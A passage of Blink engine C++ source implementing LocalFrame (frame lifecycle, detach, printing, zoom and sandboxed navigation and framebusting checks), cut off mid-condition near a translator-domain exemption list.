"third_party/blink/public/platform/interface_registry.h" #include "third_party/blink/public/platform/web_url_request.h" #include "third_party/blink/renderer/bindings/core/v8/script_controller.h" #include "third_party/blink/renderer/core/CoreProbeSink.h" #include "third_party/blink/renderer/core/core_initializer.h" #include "third_party/blink/renderer/core/css/style_change_reason.h" #include "third_party/blink/renderer/core/dom/child_frame_disconnector.h" #include "third_party/blink/renderer/core/dom/document_parser.h" #include "third_party/blink/renderer/core/dom/document_type.h" #include "third_party/blink/renderer/core/dom/events/event.h" #include "third_party/blink/renderer/core/editing/editing_utilities.h" #include "third_party/blink/renderer/core/editing/editor.h" #include "third_party/blink/renderer/core/editing/frame_selection.h" #include "third_party/blink/renderer/core/editing/ime/input_method_controller.h" #include "third_party/blink/renderer/core/editing/serializers/serialization.h" #include "third_party/blink/renderer/core/editing/spellcheck/spell_checker.h" #include "third_party/blink/renderer/core/editing/suggestion/text_suggestion_controller.h" #include "third_party/blink/renderer/core/exported/web_plugin_container_impl.h" #include "third_party/blink/renderer/core/frame/ad_tracker.h" #include "third_party/blink/renderer/core/frame/content_settings_client.h" #include "third_party/blink/renderer/core/frame/event_handler_registry.h" #include "third_party/blink/renderer/core/frame/frame_console.h" #include "third_party/blink/renderer/core/frame/local_dom_window.h" #include "third_party/blink/renderer/core/frame/local_frame_client.h" #include "third_party/blink/renderer/core/frame/local_frame_view.h" #include "third_party/blink/renderer/core/frame/performance_monitor.h" #include "third_party/blink/renderer/core/frame/settings.h" #include "third_party/blink/renderer/core/html/html_frame_element_base.h" #include "third_party/blink/renderer/core/html/html_plugin_element.h" #include "third_party/blink/renderer/core/html/plugin_document.h" #include "third_party/blink/renderer/core/input/event_handler.h" #include "third_party/blink/renderer/core/inspector/console_message.h" #include "third_party/blink/renderer/core/inspector/inspector_task_runner.h" #include "third_party/blink/renderer/core/inspector/inspector_trace_events.h" #include "third_party/blink/renderer/core/layout/hit_test_result.h" #include "third_party/blink/renderer/core/layout/layout_embedded_content.h" #include "third_party/blink/renderer/core/layout/layout_view.h" #include "third_party/blink/renderer/core/layout/text_autosizer.h" #include "third_party/blink/renderer/core/loader/document_loader.h" #include "third_party/blink/renderer/core/loader/frame_load_request.h" #include "third_party/blink/renderer/core/loader/idleness_detector.h" #include "third_party/blink/renderer/core/loader/navigation_scheduler.h" #include "third_party/blink/renderer/core/page/drag_controller.h" #include "third_party/blink/renderer/core/page/focus_controller.h" #include "third_party/blink/renderer/core/page/scrolling/scrolling_coordinator.h" #include "third_party/blink/renderer/core/paint/compositing/paint_layer_compositor.h" #include "third_party/blink/renderer/core/paint/object_painter.h" #include "third_party/blink/renderer/core/paint/transform_recorder.h" #include "third_party/blink/renderer/core/probe/core_probes.h" #include "third_party/blink/renderer/core/svg/svg_document_extensions.h" #include "third_party/blink/renderer/platform/bindings/script_forbidden_scope.h" #include "third_party/blink/renderer/platform/graphics/graphics_layer.h" #include "third_party/blink/renderer/platform/graphics/paint/clip_recorder.h" #include "third_party/blink/renderer/platform/graphics/paint/paint_canvas.h" #include "third_party/blink/renderer/platform/graphics/paint/paint_controller.h" #include "third_party/blink/renderer/platform/graphics/paint/transform_display_item.h" #include "third_party/blink/renderer/platform/histogram.h" #include "third_party/blink/renderer/platform/instrumentation/resource_coordinator/blink_resource_coordinator_base.h" #include "third_party/blink/renderer/platform/instrumentation/resource_coordinator/frame_resource_coordinator.h" #include "third_party/blink/renderer/platform/json/json_values.h" #include "third_party/blink/renderer/platform/loader/fetch/fetch_parameters.h" #include "third_party/blink/renderer/platform/loader/fetch/resource_fetcher.h" #include "third_party/blink/renderer/platform/loader/fetch/resource_request.h" #include "third_party/blink/renderer/platform/plugins/plugin_data.h" #include "third_party/blink/renderer/platform/plugins/plugin_script_forbidden_scope.h" #include "third_party/blink/renderer/platform/runtime_enabled_features.h" #include "third_party/blink/renderer/platform/scheduler/public/frame_scheduler.h" #include "third_party/blink/renderer/platform/wtf/std_lib_extras.h" namespace blink { using namespace HTMLNames; namespace { inline float ParentPageZoomFactor(LocalFrame* frame) { Frame* parent = frame->Tree().Parent(); if (!parent || !parent->IsLocalFrame()) return 1; return ToLocalFrame(parent)->PageZoomFactor(); } inline float ParentTextZoomFactor(LocalFrame* frame) { Frame* parent = frame->Tree().Parent(); if (!parent || !parent->IsLocalFrame()) return 1; return ToLocalFrame(parent)->TextZoomFactor(); } bool ShouldUseClientLoFiForRequest( const ResourceRequest& request, WebURLRequest::PreviewsState frame_previews_state) { if (request.GetPreviewsState() != WebURLRequest::kPreviewsUnspecified) return request.GetPreviewsState() & WebURLRequest::kClientLoFiOn; if (!(frame_previews_state & WebURLRequest::kClientLoFiOn)) return false; // Even if this frame is using Server Lo-Fi, https:// images won't be // handled by Server Lo-Fi since their requests won't be sent to the Data // Saver proxy, so use Client Lo-Fi instead. if (frame_previews_state & WebURLRequest::kServerLoFiOn) return request.Url().ProtocolIs("https"); return true; } class EmptyFrameScheduler final : public FrameScheduler { public: EmptyFrameScheduler() { DCHECK(IsMainThread()); } scoped_refptr<base::SingleThreadTaskRunner> GetTaskRunner( TaskType type) override { return Platform::Current()->MainThread()->GetTaskRunner(); } std::unique_ptr<ThrottlingObserverHandle> AddThrottlingObserver( ObserverType, Observer*) override { return nullptr; } void SetFrameVisible(bool) override {} bool IsFrameVisible() const override { return false; } bool IsPageVisible() const override { return false; } void SetPaused(bool) override {} void SetCrossOrigin(bool) override {} bool IsCrossOrigin() const override { return false; } void TraceUrlChange(const String& override) override {} FrameScheduler::FrameType GetFrameType() const override { return FrameScheduler::FrameType::kSubframe; } PageScheduler* GetPageScheduler() const override { return nullptr; } WebScopedVirtualTimePauser CreateWebScopedVirtualTimePauser( const String&, WebScopedVirtualTimePauser::VirtualTaskDuration) override { return WebScopedVirtualTimePauser(); } void DidStartProvisionalLoad(bool is_main_frame) override {} void DidCommitProvisionalLoad(bool is_web_history_inert_commit, bool is_reload, bool is_main_frame) override {} void OnFirstMeaningfulPaint() override {} std::unique_ptr<ActiveConnectionHandle> OnActiveConnectionCreated() override { return nullptr; } bool IsExemptFromBudgetBasedThrottling() const override { return false; } }; } // namespace template class CORE_TEMPLATE_EXPORT Supplement<LocalFrame>; // static LocalFrame* LocalFrame::Create(LocalFrameClient* client, Page& page, FrameOwner* owner, InterfaceRegistry* interface_registry) { LocalFrame* frame = new LocalFrame( client, page, owner, interface_registry ? interface_registry : InterfaceRegistry::GetEmptyInterfaceRegistry()); PageScheduler* page_scheduler = page.GetPageScheduler(); if (frame->IsMainFrame() && page_scheduler) page_scheduler->SetIsMainFrameLocal(true); probe::frameAttachedToParent(frame); return frame; } void LocalFrame::Init() { CoreInitializer::GetInstance().InitLocalFrame(*this); loader_.Init(); } void LocalFrame::SetView(LocalFrameView* view) { DCHECK(!view_ || view_ != view); DCHECK(!GetDocument() || !GetDocument()->IsActive()); if (view_) view_->WillBeRemovedFromFrame(); view_ = view; } void LocalFrame::CreateView(const IntSize& viewport_size, const Color& background_color) { DCHECK(this); DCHECK(GetPage()); bool is_local_root = this->IsLocalRoot(); if (is_local_root && View()) View()->SetParentVisible(false); SetView(nullptr); LocalFrameView* frame_view = nullptr; if (is_local_root) { frame_view = LocalFrameView::Create(*this, viewport_size); // The layout size is set by WebViewImpl to support @viewport frame_view->SetLayoutSizeFixedToFrameSize(false); } else { frame_view = LocalFrameView::Create(*this); } SetView(frame_view); frame_view->UpdateBaseBackgroundColorRecursively(background_color); if (is_local_root) frame_view->SetParentVisible(true); // FIXME: Not clear what the right thing for OOPI is here. if (OwnerLayoutObject()) { HTMLFrameOwnerElement* owner = DeprecatedLocalOwner(); DCHECK(owner); // FIXME: OOPI might lead to us temporarily lying to a frame and telling it // that it's owned by a FrameOwner that knows nothing about it. If we're // lying to this frame, don't let it clobber the existing // EmbeddedContentView. if (owner->ContentFrame() == this) owner->SetEmbeddedContentView(frame_view); } if (Owner()) View()->SetCanHaveScrollbars(Owner()->ScrollingMode() != kScrollbarAlwaysOff); } LocalFrame::~LocalFrame() { // Verify that the LocalFrameView has been cleared as part of detaching // the frame owner. DCHECK(!view_); if (is_ad_subframe_) InstanceCounters::DecrementCounter(InstanceCounters::kAdSubframeCounter); } void LocalFrame::Trace(blink::Visitor* visitor) { visitor->Trace(ad_tracker_); visitor->Trace(probe_sink_); visitor->Trace(performance_monitor_); visitor->Trace(idleness_detector_); visitor->Trace(inspector_trace_events_); visitor->Trace(loader_); visitor->Trace(navigation_scheduler_); visitor->Trace(view_); visitor->Trace(dom_window_); visitor->Trace(page_popup_owner_); visitor->Trace(script_controller_); visitor->Trace(editor_); visitor->Trace(spell_checker_); visitor->Trace(selection_); visitor->Trace(event_handler_); visitor->Trace(console_); visitor->Trace(input_method_controller_); visitor->Trace(text_suggestion_controller_); visitor->Trace(computed_node_mapping_); Frame::Trace(visitor); Supplementable<LocalFrame>::Trace(visitor); } bool LocalFrame::IsLocalRoot() const { if (!Tree().Parent()) return true; return Tree().Parent()->IsRemoteFrame(); } void LocalFrame::Navigate(Document& origin_document, const KURL& url, bool replace_current_item, UserGestureStatus user_gesture_status) { navigation_scheduler_->ScheduleFrameNavigation(&origin_document, url, replace_current_item); } void LocalFrame::Navigate(const FrameLoadRequest& request) { loader_.StartNavigation(request); } void LocalFrame::Reload(FrameLoadType load_type, ClientRedirectPolicy client_redirect_policy) { DCHECK(IsReloadLoadType(load_type)); if (client_redirect_policy == ClientRedirectPolicy::kNotClientRedirect) { if (!loader_.GetDocumentLoader()->GetHistoryItem()) return; FrameLoadRequest request = FrameLoadRequest( nullptr, loader_.ResourceRequestForReload(load_type, client_redirect_policy)); request.SetClientRedirect(client_redirect_policy); loader_.StartNavigation(request, load_type); } else { DCHECK_EQ(kFrameLoadTypeReload, load_type); navigation_scheduler_->ScheduleReload(); } } void LocalFrame::Detach(FrameDetachType type) { // !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! // BEGIN RE-ENTRANCY SAFE BLOCK // Starting here, the code must be safe against re-entrancy. Dispatching // events, et cetera can run Javascript, which can reenter Detach(). // !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! // Detach() can be re-entered, this can't simply DCHECK(IsAttached()). DCHECK_NE(lifecycle_.GetState(), FrameLifecycle::kDetached); lifecycle_.AdvanceTo(FrameLifecycle::kDetaching); if (IsLocalRoot()) { performance_monitor_->Shutdown(); ad_tracker_->Shutdown(); } idleness_detector_->Shutdown(); if (inspector_trace_events_) probe_sink_->removeInspectorTraceEvents(inspector_trace_events_); inspector_task_runner_->Dispose(); PluginScriptForbiddenScope forbid_plugin_destructor_scripting; loader_.StopAllLoaders(); // Don't allow any new child frames to load in this frame: attaching a new // child frame during or after detaching children results in an attached // frame on a detached DOM tree, which is bad. SubframeLoadingDisabler disabler(*GetDocument()); loader_.DispatchUnloadEvent(); DetachChildren(); // All done if detaching the subframes brought about a detach of this frame // also. if (!Client()) return; // stopAllLoaders() needs to be called after detachChildren(), because // detachChildren() will trigger the unload event handlers of any child // frames, and those event handlers might start a new subresource load in this // frame. loader_.StopAllLoaders(); loader_.Detach(); GetDocument()->Shutdown(); // TODO(crbug.com/729196): Trace why LocalFrameView::DetachFromLayout crashes. // It seems to crash because Frame is detached before LocalFrameView. // Verify here that any LocalFrameView has been detached by now. if (view_ && view_->IsAttached()) { CHECK(DeprecatedLocalOwner()); CHECK(DeprecatedLocalOwner()->OwnedEmbeddedContentView()); CHECK_EQ(view_, DeprecatedLocalOwner()->OwnedEmbeddedContentView()); } CHECK(!view_ || !view_->IsAttached()); // This is the earliest that scripting can be disabled: // - FrameLoader::Detach() can fire XHR abort events // - Document::Shutdown() can dispose plugins which can run script. ScriptForbiddenScope forbid_script; if (!Client()) return; // !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! // END RE-ENTRANCY SAFE BLOCK // Past this point, no script should be executed. If this method was // re-entered, then check for a non-null Client() above should have already // returned. // !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! DCHECK_NE(lifecycle_.GetState(), FrameLifecycle::kDetached); // TODO(crbug.com/729196): Trace why LocalFrameView::DetachFromLayout crashes. CHECK(!view_->IsAttached()); Client()->WillBeDetached(); // Notify ScriptController that the frame is closing, since its cleanup ends // up calling back to LocalFrameClient via WindowProxy. GetScriptController().ClearForClose(); // TODO(crbug.com/729196): Trace why LocalFrameView::DetachFromLayout crashes. CHECK(!view_->IsAttached()); SetView(nullptr); GetEventHandlerRegistry().DidRemoveAllEventHandlers(*DomWindow()); DomWindow()->FrameDestroyed(); if (GetPage() && GetPage()->GetFocusController().FocusedFrame() == this) GetPage()->GetFocusController().SetFocusedFrame(nullptr); probe::frameDetachedFromParent(this); supplements_.clear(); frame_scheduler_.reset(); WeakIdentifierMap<LocalFrame>::NotifyObjectDestroyed(this); Frame::Detach(type); } bool LocalFrame::PrepareForCommit() { return Loader().PrepareForCommit(); } void LocalFrame::CheckCompleted() { GetDocument()->CheckCompleted(); } SecurityContext* LocalFrame::GetSecurityContext() const { return GetDocument(); } void LocalFrame::PrintNavigationErrorMessage(const Frame& target_frame, const char* reason) { // URLs aren't available for RemoteFrames, so the error message uses their // origin instead. String target_frame_description = target_frame.IsLocalFrame() ? "with URL '" + ToLocalFrame(target_frame).GetDocument()->Url().GetString() + "'" : "with origin '" + target_frame.GetSecurityContext() ->GetSecurityOrigin() ->ToString() + "'"; String message = "Unsafe JavaScript attempt to initiate navigation for frame " + target_frame_description + " from frame with URL '" + GetDocument()->Url().GetString() + "'. " + reason + "\n"; DomWindow()->PrintErrorMessage(message); } void LocalFrame::PrintNavigationWarning(const String& message) { console_->AddMessage( ConsoleMessage::Create(kJSMessageSource, kWarningMessageLevel, message)); } bool LocalFrame::ShouldClose() { // TODO(dcheng): This should be fixed to dispatch beforeunload events to // both local and remote frames. return loader_.ShouldClose(); } void LocalFrame::DetachChildren() { DCHECK(loader_.StateMachine()->CreatingInitialEmptyDocument() || GetDocument()); if (Document* document = this->GetDocument()) ChildFrameDisconnector(*document).Disconnect(); } void LocalFrame::DocumentAttached() { DCHECK(GetDocument()); GetEditor().Clear(); GetEventHandler().Clear(); Selection().DocumentAttached(GetDocument()); GetInputMethodController().DocumentAttached(GetDocument()); GetSpellChecker().DocumentAttached(GetDocument()); GetTextSuggestionController().DocumentAttached(GetDocument()); } Frame* LocalFrame::FindFrameForNavigation(const AtomicString& name, LocalFrame& active_frame, const KURL& destination_url) { Frame* frame = Tree().Find(name); if (!frame || !active_frame.CanNavigate(*frame, destination_url)) return nullptr; return frame; } LocalWindowProxy* LocalFrame::WindowProxy(DOMWrapperWorld& world) { return ToLocalWindowProxy(Frame::GetWindowProxy(world)); } LocalDOMWindow* LocalFrame::DomWindow() const { return ToLocalDOMWindow(dom_window_); } void LocalFrame::SetDOMWindow(LocalDOMWindow* dom_window) { if (dom_window) GetScriptController().ClearWindowProxy(); if (this->DomWindow()) this->DomWindow()->Reset(); dom_window_ = dom_window; } Document* LocalFrame::GetDocument() const { return DomWindow() ? DomWindow()->document() : nullptr; } void LocalFrame::SetPagePopupOwner(Element& owner) { page_popup_owner_ = &owner; } LayoutView* LocalFrame::ContentLayoutObject() const { return GetDocument() ? GetDocument()->GetLayoutView() : nullptr; } void LocalFrame::DidChangeVisibilityState() { if (GetDocument()) GetDocument()->DidChangeVisibilityState(); Frame::DidChangeVisibilityState(); } void LocalFrame::DidFreeze() { DCHECK(RuntimeEnabledFeatures::PageLifecycleEnabled()); if (GetDocument()) { GetDocument()->DispatchFreezeEvent(); // TODO(fmeawad): Move the following logic to the page once we have a // PageResourceCoordinator in Blink. http://crbug.com/838415 if (auto* frame_resource_coordinator = GetFrameResourceCoordinator()) { frame_resource_coordinator->SetLifecycleState( resource_coordinator::mojom::LifecycleState::kFrozen); } } } void LocalFrame::DidResume() { DCHECK(RuntimeEnabledFeatures::PageLifecycleEnabled()); if (GetDocument()) { const double resume_event_start = CurrentTimeTicksInSeconds(); GetDocument()->DispatchEvent(Event::Create(EventTypeNames::resume)); const double resume_event_end = CurrentTimeTicksInSeconds(); DEFINE_STATIC_LOCAL( CustomCountHistogram, resume_histogram, ("DocumentEventTiming.ResumeDuration", 0, 10000000, 50)); resume_histogram.Count((resume_event_end - resume_event_start) * 1000000.0); // TODO(fmeawad): Move the following logic to the page once we have a // PageResourceCoordinator in Blink if (auto* frame_resource_coordinator = GetFrameResourceCoordinator()) { frame_resource_coordinator->SetLifecycleState( resource_coordinator::mojom::LifecycleState::kRunning); } } } void LocalFrame::SetIsInert(bool inert) { is_inert_ = inert; PropagateInertToChildFrames(); } void LocalFrame::PropagateInertToChildFrames() { for (Frame* child = Tree().FirstChild(); child; child = child->Tree().NextSibling()) { // is_inert_ means that this Frame is inert because of a modal dialog or // inert element in an ancestor Frame. Otherwise, decide whether a child // Frame element is inert because of an element in this Frame. child->SetIsInert(is_inert_ || ToHTMLFrameOwnerElement(child->Owner())->IsInert()); } } void LocalFrame::SetInheritedEffectiveTouchAction(TouchAction touch_action) { if (inherited_effective_touch_action_ == touch_action) return; inherited_effective_touch_action_ = touch_action; if (GetDocument()->documentElement()) { GetDocument()->documentElement()->SetNeedsStyleRecalc( kSubtreeStyleChange, StyleChangeReasonForTracing::Create( StyleChangeReason::kInheritedStyleChangeFromParentFrame)); } } LocalFrame& LocalFrame::LocalFrameRoot() const { const LocalFrame* cur_frame = this; while (cur_frame && cur_frame->Tree().Parent() && cur_frame->Tree().Parent()->IsLocalFrame()) cur_frame = ToLocalFrame(cur_frame->Tree().Parent()); return const_cast<LocalFrame&>(*cur_frame); } bool LocalFrame::IsCrossOriginSubframe() const { const SecurityOrigin* security_origin = GetSecurityContext()->GetSecurityOrigin(); return !security_origin->CanAccess( Tree().Top().GetSecurityContext()->GetSecurityOrigin()); } scoped_refptr<InspectorTaskRunner> LocalFrame::GetInspectorTaskRunner() { return inspector_task_runner_; } void LocalFrame::StartPrinting(const FloatSize& page_size, const FloatSize& original_page_size, float maximum_shrink_ratio) { SetPrinting(/*printing=*/true, /*use_printing_layout=*/true, page_size, original_page_size, maximum_shrink_ratio); } void LocalFrame::StartPrintingWithoutPrintingLayout() { SetPrinting(/*printing=*/true, /*use_printing_layout=*/false, FloatSize(), FloatSize(), 0); } void LocalFrame::EndPrinting() { SetPrinting(/*printing=*/false, /*use_printing_layout=*/false, FloatSize(), FloatSize(), 0); } void LocalFrame::SetPrinting(bool printing, bool use_printing_layout, const FloatSize& page_size, const FloatSize& original_page_size, float maximum_shrink_ratio) { // In setting printing, we should not validate resources already cached for // the document. See https://bugs.webkit.org/show_bug.cgi?id=43704 ResourceCacheValidationSuppressor validation_suppressor( GetDocument()->Fetcher()); GetDocument()->SetPrinting(printing ? Document::kPrinting : Document::kFinishingPrinting); View()->AdjustMediaTypeForPrinting(printing); if (TextAutosizer* text_autosizer = GetDocument()->GetTextAutosizer()) text_autosizer->UpdatePageInfo(); if (use_printing_layout && ShouldUsePrintingLayout()) { View()->ForceLayoutForPagination(page_size, original_page_size, maximum_shrink_ratio); } else { if (LayoutView* layout_view = View()->GetLayoutView()) { layout_view->SetPreferredLogicalWidthsDirty(); layout_view->SetNeedsLayout(LayoutInvalidationReason::kPrintingChanged); layout_view->SetShouldDoFullPaintInvalidationForViewAndAllDescendants(); } View()->UpdateLayout(); View()->AdjustViewSize(); } // Subframes of the one we're printing don't lay out to the page size. for (Frame* child = Tree().FirstChild(); child; child = child->Tree().NextSibling()) { if (child->IsLocalFrame()) { if (printing) ToLocalFrame(child)->StartPrintingWithoutPrintingLayout(); else ToLocalFrame(child)->EndPrinting(); } } View()->SetSubtreeNeedsPaintPropertyUpdate(); if (!printing) GetDocument()->SetPrinting(Document::kNotPrinting); } bool LocalFrame::ShouldUsePrintingLayout() const { // Only the top frame being printed should be fitted to page size. // Subframes should be constrained by parents only. // This function considers the following three kinds of frames as top frames: // -- frame with no parent; // -- frame's parent is remote frame; // -- frame's parent is not in printing mode. // Among them, if a frame's parent is a remote frame, but in printing mode, // this frame should not use printing layout either. But in that case, this // frame is a local top frame, the printing must start from // StartPrintingWithoutPrintingLayout() so this function won't been called. return GetDocument()->Printing() && (!Tree().Parent() || !Tree().Parent()->IsLocalFrame() || !ToLocalFrame(Tree().Parent())->GetDocument()->Printing()); } FloatSize LocalFrame::ResizePageRectsKeepingRatio( const FloatSize& original_size, const FloatSize& expected_size) const { auto* layout_object = ContentLayoutObject(); if (!layout_object) return FloatSize(); bool is_horizontal = layout_object->StyleRef().IsHorizontalWritingMode(); float width = original_size.Width(); float height = original_size.Height(); if (!is_horizontal) std::swap(width, height); DCHECK_GT(fabs(width), std::numeric_limits<float>::epsilon()); float ratio = height / width; float result_width = floorf(is_horizontal ? expected_size.Width() : expected_size.Height()); float result_height = floorf(result_width * ratio); if (!is_horizontal) std::swap(result_width, result_height); return FloatSize(result_width, result_height); } void LocalFrame::SetPageZoomFactor(float factor) { SetPageAndTextZoomFactors(factor, text_zoom_factor_); } void LocalFrame::SetTextZoomFactor(float factor) { SetPageAndTextZoomFactors(page_zoom_factor_, factor); } void LocalFrame::SetPageAndTextZoomFactors(float page_zoom_factor, float text_zoom_factor) { if (page_zoom_factor_ == page_zoom_factor && text_zoom_factor_ == text_zoom_factor) return; Page* page = this->GetPage(); if (!page) return; Document* document = this->GetDocument(); if (!document) return; // Respect SVGs zoomAndPan="disabled" property in standalone SVG documents. // FIXME: How to handle compound documents + zoomAndPan="disabled"? Needs SVG // WG clarification. if (document->IsSVGDocument()) { if (!document->AccessSVGExtensions().ZoomAndPanEnabled()) return; } page_zoom_factor_ = page_zoom_factor; text_zoom_factor_ = text_zoom_factor; for (Frame* child = Tree().FirstChild(); child; child = child->Tree().NextSibling()) { if (child->IsLocalFrame()) ToLocalFrame(child)->SetPageAndTextZoomFactors(page_zoom_factor_, text_zoom_factor_); } document->MediaQueryAffectingValueChanged(); document->SetNeedsStyleRecalc( kSubtreeStyleChange, StyleChangeReasonForTracing::Create(StyleChangeReason::kZoom)); document->UpdateStyleAndLayoutIgnorePendingStylesheets(); } void LocalFrame::DeviceScaleFactorChanged() { GetDocument()->MediaQueryAffectingValueChanged(); GetDocument()->SetNeedsStyleRecalc( kSubtreeStyleChange, StyleChangeReasonForTracing::Create(StyleChangeReason::kZoom)); for (Frame* child = Tree().FirstChild(); child; child = child->Tree().NextSibling()) { if (child->IsLocalFrame()) ToLocalFrame(child)->DeviceScaleFactorChanged(); } } double LocalFrame::DevicePixelRatio() const { if (!page_) return 0; double ratio = page_->DeviceScaleFactorDeprecated(); ratio *= PageZoomFactor(); return ratio; } String LocalFrame::SelectedText() const { return Selection().SelectedText(); } String LocalFrame::SelectedTextForClipboard() const { if (!GetDocument()) return g_empty_string; DCHECK(!GetDocument()->NeedsLayoutTreeUpdate()); return Selection().SelectedTextForClipboard(); } PositionWithAffinity LocalFrame::PositionForPoint( const LayoutPoint& frame_point) { HitTestResult result = GetEventHandler().HitTestResultAtPoint(frame_point); Node* node = result.InnerNodeOrImageMapImage(); if (!node) return PositionWithAffinity(); LayoutObject* layout_object = node->GetLayoutObject(); if (!layout_object) return PositionWithAffinity(); const PositionWithAffinity position = layout_object->PositionForPoint(result.LocalPoint()); if (position.IsNull()) return PositionWithAffinity(FirstPositionInOrBeforeNode(*node)); return position; } Document* LocalFrame::DocumentAtPoint(const LayoutPoint& point_in_root_frame) { if (!View()) return nullptr; LayoutPoint pt = View()->RootFrameToContents(point_in_root_frame); if (!ContentLayoutObject()) return nullptr; HitTestResult result = GetEventHandler().HitTestResultAtPoint( pt, HitTestRequest::kReadOnly | HitTestRequest::kActive); return result.InnerNode() ? &result.InnerNode()->GetDocument() : nullptr; } bool LocalFrame::ShouldReuseDefaultView(const KURL& url) const { // Secure transitions can only happen when navigating from the initial empty // document. if (!Loader().StateMachine()->IsDisplayingInitialEmptyDocument()) return false; return GetDocument()->IsSecureTransitionTo(url); } void LocalFrame::RemoveSpellingMarkersUnderWords(const Vector<String>& words) { GetSpellChecker().RemoveSpellingMarkersUnderWords(words); } String LocalFrame::GetLayerTreeAsTextForTesting(unsigned flags) const { if (!ContentLayoutObject()) return String(); std::unique_ptr<JSONObject> layers; if (RuntimeEnabledFeatures::SlimmingPaintV2Enabled()) { layers = View()->CompositedLayersAsJSON(static_cast<LayerTreeFlags>(flags)); } else { if (const auto* root_layer = ContentLayoutObject()->Compositor()->RootGraphicsLayer()) { if (flags & kLayerTreeIncludesRootLayer && IsMainFrame()) { while (root_layer->Parent()) root_layer = root_layer->Parent(); } layers = root_layer->LayerTreeAsJSON(static_cast<LayerTreeFlags>(flags)); } } if (flags & kLayerTreeIncludesPaintInvalidations) { std::unique_ptr<JSONArray> object_paint_invalidations = view_->TrackedObjectPaintInvalidationsAsJSON(); if (object_paint_invalidations && object_paint_invalidations->size()) { if (!layers) layers = JSONObject::Create(); layers->SetArray("objectPaintInvalidations", std::move(object_paint_invalidations)); } } return layers ? layers->ToPrettyJSONString() : String(); } bool LocalFrame::ShouldThrottleRendering() const { return View() && View()->ShouldThrottleRendering(); } inline LocalFrame::LocalFrame(LocalFrameClient* client, Page& page, FrameOwner* owner, InterfaceRegistry* interface_registry) : Frame(client, page, owner, LocalWindowProxyManager::Create(*this)), frame_scheduler_(page.GetPageScheduler() ? page.GetPageScheduler()->CreateFrameScheduler( client->GetFrameBlameContext(), IsMainFrame() ? FrameScheduler::FrameType::kMainFrame : FrameScheduler::FrameType::kSubframe) : std::make_unique<EmptyFrameScheduler>()), loader_(this), navigation_scheduler_(NavigationScheduler::Create(this)), script_controller_(ScriptController::Create( *this, *static_cast<LocalWindowProxyManager*>(GetWindowProxyManager()))), editor_(Editor::Create(*this)), spell_checker_(SpellChecker::Create(*this)), selection_(FrameSelection::Create(*this)), event_handler_(new EventHandler(*this)), console_(FrameConsole::Create(*this)), input_method_controller_(InputMethodController::Create(*this)), text_suggestion_controller_(new TextSuggestionController(*this)), navigation_disable_count_(0), page_zoom_factor_(ParentPageZoomFactor(this)), text_zoom_factor_(ParentTextZoomFactor(this)), in_view_source_mode_(false), inspector_task_runner_(InspectorTaskRunner::Create( GetTaskRunner(TaskType::kInternalInspector))), interface_registry_(interface_registry) { if (IsLocalRoot()) { probe_sink_ = new CoreProbeSink(); ad_tracker_ = new AdTracker(this); performance_monitor_ = new PerformanceMonitor(this); inspector_trace_events_ = new InspectorTraceEvents(); probe_sink_->addInspectorTraceEvents(inspector_trace_events_); } else { // Inertness only needs to be updated if this frame might inherit the // inert state from a higher-level frame. If this is an OOPIF local root, // it will be updated later. UpdateInertIfPossible(); UpdateInheritedEffectiveTouchActionIfPossible(); probe_sink_ = LocalFrameRoot().probe_sink_; ad_tracker_ = LocalFrameRoot().ad_tracker_; performance_monitor_ = LocalFrameRoot().performance_monitor_; } idleness_detector_ = new IdlenessDetector(this); inspector_task_runner_->InitIsolate(V8PerIsolateData::MainThreadIsolate()); if (ComputeIsAdSubFrame()) SetIsAdSubframe(); } FrameScheduler* LocalFrame::GetFrameScheduler() { return frame_scheduler_.get(); } EventHandlerRegistry& LocalFrame::GetEventHandlerRegistry() const { return event_handler_->GetEventHandlerRegistry(); } scoped_refptr<base::SingleThreadTaskRunner> LocalFrame::GetTaskRunner( TaskType type) { DCHECK(IsMainThread()); return frame_scheduler_->GetTaskRunner(type); } void LocalFrame::ScheduleVisualUpdateUnlessThrottled() { if (ShouldThrottleRendering()) return; GetPage()->Animator().ScheduleVisualUpdate(this); } bool LocalFrame::CanNavigate(const Frame& target_frame, const KURL& destination_url) { String error_reason; const bool is_allowed_navigation = CanNavigateWithoutFramebusting(target_frame, error_reason); const bool sandboxed = GetSecurityContext()->GetSandboxFlags() != kSandboxNone; const bool has_user_gesture = HasBeenActivated(); // Top navigation in sandbox with or w/o 'allow-top-navigation'. if (target_frame != this && sandboxed && target_frame == Tree().Top()) { UseCounter::Count(this, WebFeature::kTopNavInSandbox); if (!has_user_gesture) { UseCounter::Count(this, WebFeature::kTopNavInSandboxWithoutGesture); } } // Top navigation w/o sandbox or in sandbox with 'allow-top-navigation'. if (target_frame != this && !GetSecurityContext()->IsSandboxed(kSandboxTopNavigation) && target_frame == Tree().Top()) { DEFINE_STATIC_LOCAL(EnumerationHistogram, framebust_histogram, ("WebCore.Framebust", 4)); const unsigned kUserGestureBit = 0x1; const unsigned kAllowedBit = 0x2; unsigned framebust_params = 0; if (has_user_gesture) framebust_params |= kUserGestureBit; UseCounter::Count(this, WebFeature::kTopNavigationFromSubFrame); if (sandboxed) { // Sandboxed with 'allow-top-navigation'. UseCounter::Count(this, WebFeature::kTopNavInSandboxWithPerm); if (!has_user_gesture) { UseCounter::Count(this, WebFeature::kTopNavInSandboxWithPermButNoGesture); } } if (is_allowed_navigation) framebust_params |= kAllowedBit; framebust_histogram.Count(framebust_params); if (has_user_gesture || is_allowed_navigation || target_frame.GetSecurityContext()->GetSecurityOrigin()->CanAccess( SecurityOrigin::Create(destination_url).get())) { return true; } // Frame-busting used to be generally allowed in most situations, but may // now blocked if the document initiating the navigation has never received // a user gesture and the navigation isn't same-origin with the target. // // TODO(csharrison,japhet): Consider not logging an error message if the // user has allowed popups/redirects. bool allowBusting = false; if ((GetDocument()->Url().GetString().Contains("microsofttranslator.com") || GetDocument()->Url().GetString().Contains("translatetheweb.com") || GetDocument()->Url().GetString().Contains("translatetheweb-int.com") || GetDocument()->Url().GetString().Contains("translatetheweb-int.net") || 